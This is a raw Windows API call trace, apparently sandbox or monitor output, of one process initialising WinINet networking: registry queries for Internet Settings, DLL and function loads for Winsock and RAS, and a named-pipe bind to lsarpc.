06:38:12,262	996	RegQueryValueExA	Handle => 0x0000019c DataLength => 4 ValueName => NoCheckAutodialOverRide Type => 412	FAILURE	0x00000002
06:38:12,262	996	RegOpenKeyExA	Handle => 0x000001a0 Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,262	996	RegQueryValueExA	Handle => 0x000001a0 DataLength => 4 ValueName => NoCheckAutodialOverRide Type => 416	FAILURE	0x00000002
06:38:12,262	996	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
06:38:12,262	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,262	996	RegOpenKeyExA	Handle => 0x0000019c Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,262	996	RegQueryValueExA	Handle => 0x0000019c DataLength => 4 ValueName => DontUseDNSLoadBalancing Type => 412	FAILURE	0x00000002
06:38:12,262	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,262	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => DontUseDNSLoadBalancing Type => 132	FAILURE	0x00000002
06:38:12,272	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => NonBlockingClient32 Type => 132	FAILURE	0x00000002
06:38:12,272	996	RegOpenKeyExA	Handle => 0x0000019c Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,272	996	RegQueryValueExA	Handle => 0x0000019c DataLength => 4 ValueName => ShareCredsWithWinHttp Type => 412	FAILURE	0x00000002
06:38:12,272	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,272	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 66 ValueName => MimeExclusionListForCache Type => 1	SUCCESS	0x00000000
06:38:12,272	996	RegQueryValueExA	Handle => 0x00000084 Data => multipart/mixed multipart/x-mixed-replace multipart/x-byteranges \x00 ValueName => MimeExclusionListForCache	SUCCESS	0x00000000
06:38:12,272	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 0 ValueName => HeaderExclusionListForCache Type => 132	FAILURE	0x00000002
06:38:12,272	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => DnsCacheEnabled Type => 132	FAILURE	0x00000002
06:38:12,272	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => DnsCacheEntries Type => 132	FAILURE	0x00000002
06:38:12,272	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => DnsCacheTimeout Type => 132	FAILURE	0x00000002
06:38:12,272	996	RegQueryValueExA	Handle => 0x00000084 Data => ValueName => WarnOnPost	SUCCESS	0x00000000
06:38:12,272	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => WarnAlwaysOnPost Type => 132	FAILURE	0x00000002
06:38:12,272	996	RegQueryValueExA	Handle => 0x00000084 Data => 0 ValueName => WarnOnZoneCrossing	SUCCESS	0x00000000
06:38:12,272	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => WarnOnBadCertSending Type => 132	FAILURE	0x00000002
06:38:12,272	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => WarnOnBadCertRecving Type => 132	FAILURE	0x00000002
06:38:12,272	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => WarnOnPostRedirect Type => 132	FAILURE	0x00000002
06:38:12,272	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => AlwaysDrainOnRedirect Type => 132	FAILURE	0x00000002
06:38:12,272	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => WarnOnHTTPSToHTTPRedirect Type => 132	FAILURE	0x00000002
06:38:12,272	996	NtOpenMutant	Handle => 0x0000019c MutexName => WininetStartupMutex	SUCCESS	0x00000000
06:38:12,272	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => GlobalUserOffline Type => 132	FAILURE	0x00000002
06:38:12,272	996	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
06:38:12,282	996	NtCreateMutant	Handle => 0x000001a8 InitialOwner => 0 MutexName =>	SUCCESS	0x00000000
06:38:12,282	996	NtCreateMutant	Handle => 0x000001ac InitialOwner => 0 MutexName =>	SUCCESS	0x00000000
06:38:12,282	996	NtOpenMutant	Handle => 0x000001b0 MutexName => WininetProxyRegistryMutex	SUCCESS	0x00000000
06:38:12,282	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => EnableAutodial Type => 132	FAILURE	0x00000002
06:38:12,282	996	LdrGetDllHandle	ModuleHandle => 0x00000000 FileName => rnaapp.exe	FAILURE	3221225781	1 time
06:38:12,282	996	RegOpenKeyExA	Handle => 0x000001b4 Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,282	996	RegQueryValueExA	Handle => 0x000001b4 DataLength => 11 ValueName => UrlEncoding Type => 1	FAILURE	0x000000ea
06:38:12,282	996	RegCloseKey	Handle => 0x000001b4	SUCCESS	0x00000000
06:38:12,282	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => TruncateFileName Type => 132	FAILURE	0x00000002
06:38:12,282	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => BadProxyExpiresTime Type => 132	FAILURE	0x00000002
06:38:12,302	996	LdrLoadDll	Flags => 522220 BaseAddress => 0x71ad0000 FileName => wsock32	SUCCESS	0x00000000
06:38:12,302	996	LdrGetProcedureAddress	Ordinal => 1 FunctionName => FunctionAddress => 0x71ac1040 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
06:38:12,302	996	LdrGetProcedureAddress	Ordinal => 2 FunctionName => FunctionAddress => 0x71ab4480 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
06:38:12,302	996	LdrGetProcedureAddress	Ordinal => 3 FunctionName => FunctionAddress => 0x71ab3e2b ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
06:38:12,302	996	LdrGetProcedureAddress	Ordinal => 4 FunctionName => FunctionAddress => 0x71ab4a07 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
06:38:12,302	996	LdrGetProcedureAddress	Ordinal => 5 FunctionName => FunctionAddress => 0x71ac0b68 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
06:38:12,302	996	LdrGetProcedureAddress	Ordinal => 6 FunctionName => FunctionAddress => 0x71ab3d10 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
06:38:12,302	996	LdrGetProcedureAddress	Ordinal => 7 FunctionName => FunctionAddress => 0x71ad2ed6 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
06:38:12,302	996	LdrGetProcedureAddress	Ordinal => 8 FunctionName => FunctionAddress => 0x71ab2ead ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
06:38:12,302	996	LdrGetProcedureAddress	Ordinal => 9 FunctionName => FunctionAddress => 0x71ab2e53 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
06:38:12,302	996	LdrGetProcedureAddress	Ordinal => 10 FunctionName => FunctionAddress => 0x71ab2ee1 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
06:38:12,302	996	LdrGetProcedureAddress	Ordinal => 11 FunctionName => FunctionAddress => 0x71ab45c1 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
06:38:12,302	996	LdrGetProcedureAddress	Ordinal => 12 FunctionName => FunctionAddress => 0x71ab3f50 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
06:38:12,302	996	LdrGetProcedureAddress	Ordinal => 13 FunctionName => FunctionAddress => 0x71ab8cd3 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
06:38:12,302	996	LdrGetProcedureAddress	Ordinal => 15 FunctionName => FunctionAddress => 0x71ab2e53 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
06:38:12,302	996	LdrGetProcedureAddress	Ordinal => 16 FunctionName => FunctionAddress => 0x71ad2e70 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
06:38:12,302	996	LdrGetProcedureAddress	Ordinal => 17 FunctionName => FunctionAddress => 0x71ad3001 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
06:38:12,302	996	LdrGetProcedureAddress	Ordinal => 18 FunctionName => FunctionAddress => 0x71ab30a8 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
06:38:12,302	996	LdrGetProcedureAddress	Ordinal => 19 FunctionName => FunctionAddress => 0x71ab4c27 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
06:38:12,302	996	LdrGetProcedureAddress	Ordinal => 20 FunctionName => FunctionAddress => 0x71ab2f51 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
06:38:12,302	996	LdrGetProcedureAddress	Ordinal => 21 FunctionName => FunctionAddress => 0x71ad2e30 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
06:38:12,302	996	LdrGetProcedureAddress	Ordinal => 22 FunctionName => FunctionAddress => 0x71ac0bf6 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
06:38:12,312	996	LdrGetProcedureAddress	Ordinal => 23 FunctionName => FunctionAddress => 0x71ab4211 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
06:38:12,312	996	LdrGetProcedureAddress	Ordinal => 52 FunctionName => FunctionAddress => 0x71ab5355 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
06:38:12,312	996	LdrGetProcedureAddress	Ordinal => 57 FunctionName => FunctionAddress => 0x71ab5449 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
06:38:12,312	996	LdrGetProcedureAddress	Ordinal => 111 FunctionName => FunctionAddress => 0x71ab3cce ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
06:38:12,312	996	LdrGetProcedureAddress	Ordinal => 112 FunctionName => FunctionAddress => 0x71ab2a5e ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
06:38:12,312	996	LdrGetProcedureAddress	Ordinal => 115 FunctionName => FunctionAddress => 0x71ab6a55 ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
06:38:12,312	996	LdrGetProcedureAddress	Ordinal => 116 FunctionName => FunctionAddress => 0x71ab3fed ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
06:38:12,312	996	LdrGetProcedureAddress	Ordinal => 151 FunctionName => FunctionAddress => 0x71ab3f7b ModuleHandle => 0x71ad0000	SUCCESS	0x00000000
06:38:12,312	996	WSAStartup	VersionRequested => 0x00000101	SUCCESS	0x00000000
06:38:12,312	996	LdrLoadDll	Flags => 522220 BaseAddress => 0x71ab0000 FileName => ws2_32	SUCCESS	0x00000000
06:38:12,312	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => WSALookupServiceBeginW FunctionAddress => 0x71ab35ef ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
06:38:12,312	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => WSALookupServiceEnd FunctionAddress => 0x71ab350e ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
06:38:12,312	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => WSALookupServiceNextW FunctionAddress => 0x71ab3181 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
06:38:12,312	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => WSANSPIoctl FunctionAddress => 0x71ab5086 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
06:38:12,312	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => getaddrinfo FunctionAddress => 0x71ab2a6f ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
06:38:12,312	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => freeaddrinfo FunctionAddress => 0x71ab2b0b ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
06:38:12,312	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => getnameinfo FunctionAddress => 0x71abc689 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
06:38:12,312	996	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
06:38:12,312	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Http Filters\RPA	FAILURE	0x00000002
06:38:12,312	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Http Filters\RPA	FAILURE	0x00000002
06:38:12,312	996	RegOpenKeyExW	Handle => 0x000001bc Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,312	996	RegQueryValueExW	Handle => 0x000001bc DataLength => 4 ValueName => Security_HKLM_only Type => 522012	FAILURE	0x00000002
06:38:12,312	996	RegCloseKey	Handle => 0x000001bc	SUCCESS	0x00000000
06:38:12,312	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,312	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,312	996	RegOpenKeyExW	Handle => 0x000001bc Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
06:38:12,312	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,312	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x000001bc SubKey => FEATURE_INCLUDE_PORT_IN_SPN_KB908209	FAILURE	0x00000002
06:38:12,312	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
06:38:12,312	996	RegCloseKey	Handle => 0x000001bc	SUCCESS	0x00000000
06:38:12,312	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
06:38:12,312	996	RegOpenKeyExW	Handle => 0x000001bc Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,312	996	RegQueryValueExW	Handle => 0x000001bc DataLength => 4 ValueName => Security_HKLM_only Type => 522008	FAILURE	0x00000002
06:38:12,312	996	RegCloseKey	Handle => 0x000001bc	SUCCESS	0x00000000
06:38:12,312	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,312	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,312	996	RegOpenKeyExW	Handle => 0x000001bc Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
06:38:12,312	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,312	996	RegOpenKeyExW	Handle => 0x000001b8 Registry => 0x000001bc SubKey => FEATURE_MIME_HANDLING	SUCCESS	0x00000000
06:38:12,312	996	RegQueryValueExW	Handle => 0x000001b8 DataLength => 4 ValueName => svchost.exe Type => 521980	FAILURE	0x00000002
06:38:12,312	996	RegQueryValueExW	Handle => 0x000001b8 DataLength => 4 ValueName => * Type => 521980	FAILURE	0x00000002
06:38:12,312	996	RegCloseKey	Handle => 0x000001b8	SUCCESS	0x00000000
06:38:12,312	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
06:38:12,312	996	RegCloseKey	Handle => 0x000001bc	SUCCESS	0x00000000
06:38:12,312	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
06:38:12,312	996	RegOpenKeyExW	Handle => 0x000001bc Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,312	996	RegQueryValueExW	Handle => 0x000001bc DataLength => 4 ValueName => Security_HKLM_only Type => 521712	FAILURE	0x00000002
06:38:12,312	996	RegCloseKey	Handle => 0x000001bc	SUCCESS	0x00000000
06:38:12,312	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,312	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,312	996	RegOpenKeyExW	Handle => 0x000001bc Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
06:38:12,312	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,312	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x000001bc SubKey => FEATURE_HTTP_USERNAME_PASSWORD_DISABLE	FAILURE	0x00000002
06:38:12,312	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
06:38:12,312	996	RegCloseKey	Handle => 0x000001bc	SUCCESS	0x00000000
06:38:12,312	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
06:38:12,312	996	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000	1 time
06:38:12,322	996	LdrLoadDll	Flags => 522528 BaseAddress => 0x76ee0000 FileName => RASAPI32.DLL	SUCCESS	0x00000000
06:38:12,322	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RasDialW FunctionAddress => 0x76ef68db ModuleHandle => 0x76ee0000	SUCCESS	0x00000000
06:38:12,322	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RasHangUpW FunctionAddress => 0x76ee8bcd ModuleHandle => 0x76ee0000	SUCCESS	0x00000000
06:38:12,322	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RasEnumEntriesW FunctionAddress => 0x76ee3ce9 ModuleHandle => 0x76ee0000	SUCCESS	0x00000000
06:38:12,332	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RasGetEntryDialParamsW FunctionAddress => 0x76ee7ad0 ModuleHandle => 0x76ee0000	SUCCESS	0x00000000
06:38:12,332	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RasSetEntryDialParamsW FunctionAddress => 0x76ee917c ModuleHandle => 0x76ee0000	SUCCESS	0x00000000
06:38:12,332	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RasEditPhonebookEntryW FunctionAddress => 0x76ee6839 ModuleHandle => 0x76ee0000	SUCCESS	0x00000000
06:38:12,332	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RasCreatePhonebookEntryW FunctionAddress => 0x76ee6767 ModuleHandle => 0x76ee0000	SUCCESS	0x00000000
06:38:12,332	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RasGetErrorStringW FunctionAddress => 0x76ee7d38 ModuleHandle => 0x76ee0000	SUCCESS	0x00000000
06:38:12,332	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RasGetConnectStatusW FunctionAddress => 0x76ee70cb ModuleHandle => 0x76ee0000	SUCCESS	0x00000000
06:38:12,332	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RasEnumConnectionsW FunctionAddress => 0x76ee2520 ModuleHandle => 0x76ee0000	SUCCESS	0x00000000
06:38:12,332	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RasGetEntryPropertiesW FunctionAddress => 0x76ee9a5b ModuleHandle => 0x76ee0000	SUCCESS	0x00000000
06:38:12,332	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RasGetCredentialsW FunctionAddress => 0x76eeacb1 ModuleHandle => 0x76ee0000	SUCCESS	0x00000000
06:38:12,332	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RasSetCredentialsW FunctionAddress => 0x76eeb078 ModuleHandle => 0x76ee0000	SUCCESS	0x00000000
06:38:12,332	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RasGetAutodialAddressA FunctionAddress => 0x76eebbe0 ModuleHandle => 0x76ee0000	SUCCESS	0x00000000
06:38:12,332	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RasSetAutodialAddressA FunctionAddress => 0x76eec044 ModuleHandle => 0x76ee0000	SUCCESS	0x00000000
06:38:12,332	996	LdrLoadDll	Flags => 522376 BaseAddress => 0x76e80000 FileName => RTUTILS.DLL	SUCCESS	0x00000000
06:38:12,332	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => TraceRegisterExA FunctionAddress => 0x76e8212f ModuleHandle => 0x76e80000	SUCCESS	0x00000000
06:38:12,332	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => TraceDeregisterA FunctionAddress => 0x76e83ff9 ModuleHandle => 0x76e80000	SUCCESS	0x00000000
06:38:12,332	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => TraceDeregisterExA FunctionAddress => 0x76e82d77 ModuleHandle => 0x76e80000	SUCCESS	0x00000000
06:38:12,332	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => TracePrintfA FunctionAddress => 0x76e81aad ModuleHandle => 0x76e80000	SUCCESS	0x00000000
06:38:12,332	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => TracePrintfExA FunctionAddress => 0x76e819e2 ModuleHandle => 0x76e80000	SUCCESS	0x00000000
06:38:12,342	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => TraceDumpExA FunctionAddress => 0x76e8253f ModuleHandle => 0x76e80000	SUCCESS	0x00000000
06:38:12,342	996	RegCreateKeyExA	Handle => 0x000001e0 Access => 983103 Registry => 0x80000002 Class => SubKey => Software\Microsoft\Tracing	SUCCESS	0x00000000
06:38:12,342	996	RegQueryValueExA	Handle => 0x000001e0 Data => 0 ValueName => EnableConsoleTracing	SUCCESS	0x00000000
06:38:12,342	996	RegCloseKey	Handle => 0x000001e0	SUCCESS	0x00000000
06:38:12,342	996	RegOpenKeyExA	Handle => 0x000001e8 Registry => 0x80000002 SubKey => Software\Microsoft\Tracing\RASAPI32	SUCCESS	0x00000000
06:38:12,342	996	RegQueryValueExA	Handle => 0x000001e8 Data => 0 ValueName => EnableFileTracing	SUCCESS	0x00000000
06:38:12,342	996	RegQueryValueExA	Handle => 0x000001e8 Data => 4294901760 ValueName => FileTracingMask	SUCCESS	0x00000000
06:38:12,342	996	RegQueryValueExA	Handle => 0x000001e8 Data => 0 ValueName => EnableConsoleTracing	SUCCESS	0x00000000
06:38:12,342	996	RegQueryValueExA	Handle => 0x000001e8 Data => 4294901760 ValueName => ConsoleTracingMask	SUCCESS	0x00000000
06:38:12,342	996	RegQueryValueExA	Handle => 0x000001e8 Data => 1048576 ValueName => MaxFileSize	SUCCESS	0x00000000
06:38:12,342	996	RegQueryValueExA	Handle => 0x000001e8 Data => %windir%\tracing\x00 ValueName => FileDirectory	SUCCESS	0x00000000
06:38:12,342	996	RegQueryValueExA	Handle => 0x000001e8 Data => 0 ValueName => EnableFileTracing	SUCCESS	0x00000000
06:38:12,342	996	RegQueryValueExA	Handle => 0x000001e8 Data => 4294901760 ValueName => FileTracingMask	SUCCESS	0x00000000
06:38:12,342	996	RegQueryValueExA	Handle => 0x000001e8 Data => 0 ValueName => EnableConsoleTracing	SUCCESS	0x00000000
06:38:12,342	996	RegQueryValueExA	Handle => 0x000001e8 Data => 4294901760 ValueName => ConsoleTracingMask	SUCCESS	0x00000000
06:38:12,342	996	RegQueryValueExA	Handle => 0x000001e8 Data => 1048576 ValueName => MaxFileSize	SUCCESS	0x00000000
06:38:12,342	996	RegQueryValueExA	Handle => 0x000001e8 Data => %windir%\tracing\x00 ValueName => FileDirectory	SUCCESS	0x00000000
06:38:12,342	996	OpenSCManagerW	MachineName => DatabaseName => DesiredAccess => 2147483648	SUCCESS	0x002e9fb8
06:38:12,342	996	OpenServiceW	ServiceControlManager => 0x002e9fb8 ServiceName => RASMAN DesiredAccess => 4	SUCCESS	0x002e9cb8
06:38:12,342	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => EnableAutodial Type => 132	FAILURE	0x00000002
06:38:12,342	996	OpenSCManagerA	MachineName => DatabaseName => DesiredAccess => 2147483648	SUCCESS	0x002ea0d0
06:38:12,362	996	LdrLoadDll	Flags => 522532 BaseAddress => 0x722b0000 FileName => sensapi.dll	SUCCESS	0x00000000
06:38:12,362	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => IsNetworkAlive FunctionAddress => 0x722b1260 ModuleHandle => 0x722b0000	SUCCESS	0x00000000
06:38:12,362	996	NtOpenSection	DesiredAccess => 0x00000004 ObjectAttributes => C:\SENS Information Cache SectionHandle => 0x000001f4	SUCCESS	0x00000000
06:38:12,362	996	ZwMapViewOfSection	SectionOffset => 0x0007f8fc SectionHandle => 0x000001f4 ProcessHandle => 0xffffffff BaseAddress => 0x00fa0000	SUCCESS	0x00000000
06:38:12,362	996	NtCreateFile	ShareAccess => 3 FileName => PIPE\lsarpc DesiredAccess => 0xc0100080 CreateDisposition => 1 FileHandle => 0x000001fc	SUCCESS	0x00000000
06:38:12,362	996	NtSetInformationFile	FileHandle => 0x000001fc FileInformation =>	SUCCESS	0x00000000	1 time
06:38:12,372	996	NtWriteFile	Buffer => \x05\x00\x0b\x03\x10\x00\x00\x00H\x00\x00\x00\x01\x00\x00\x00\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00xW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x00\x00\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x00\x00 FileHandle => 0x000001fc	SUCCESS	0x00000000
06:38:12,372	996	NtReadFile	Buffer => \x05\x00\x0c\x03\x10\x00\x00\x00D\x00\x00\x00\x01\x00\x00\x00\xb8\x10\xb8\x10\xb5F\x00\x00\x0c\x00\PIPE\lsass\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x00\x00 FileHandle => 0x000001fc	SUCCESS	0x00000000
06:38:12,372	996	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
06:38:12,372	996	RegOpenKeyExA	Handle => 0x000001f8 Registry => 0x80000002 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,372	996	RegQueryValueExA	Handle => 0x000001f8 DataLength => 4 ValueName => ProxySettingsPerUser Type => 504	FAILURE	0x00000002
06:38:12,372	996	RegCloseKey	Handle => 0x000001f8	SUCCESS	0x00000000
06:38:12,372	996	LdrLoadDll	Flags => 520976 BaseAddress => 0x7c900000 FileName => ntdll.dll	SUCCESS	0x00000000
06:38:12,372	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RtlConvertSidToUnicodeString FunctionAddress => 0x7c914c35 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
06:38:12,372	996	RegOpenKeyExW	Handle => 0x00000200 Registry => 0x80000003 SubKey => S-1-5-21-1935655697-1606980848-1060284298-1003	SUCCESS	0x00000000
06:38:12,382	996	RegCloseKey	Handle => 0x00000200	SUCCESS	0x00000000
06:38:12,382	996	RegOpenKeyExA	Handle => 0x00000200 Registry => 0x80000002 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,382	996	RegQueryValueExA	Handle => 0x00000200 DataLength => 4 ValueName => ProxySettingsPerUser Type => 512	FAILURE	0x00000002
06:38:12,382	996	RegCloseKey	Handle => 0x00000200	SUCCESS	0x00000000
06:38:12,382	996	LdrLoadDll	Flags => 521436 BaseAddress => 0x7c900000 FileName => ntdll.dll	SUCCESS	0x00000000
06:38:12,382	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RtlConvertSidToUnicodeString FunctionAddress => 0x7c914c35 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
06:38:12,382	996	RegOpenKeyExW	Handle => 0x00000200 Registry => 0x80000003 SubKey => S-1-5-21-1935655697-1606980848-1060284298-1003	SUCCESS	0x00000000
06:38:12,382	996	RegCreateKeyExA	Handle => 0x00000204 Access => 1 Registry => 0x00000200 Class => SubKey => Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	SUCCESS	0x00000000
06:38:12,382	996	RegQueryValueExA	Handle => 0x00000204 DataLength => 56 ValueName => DefaultConnectionSettings Type => 3	SUCCESS	0x00000000
06:38:12,382	996	RegQueryValueExA	Handle => 0x00000204 Data => ValueName => DefaultConnectionSettings	SUCCESS	0x00000000
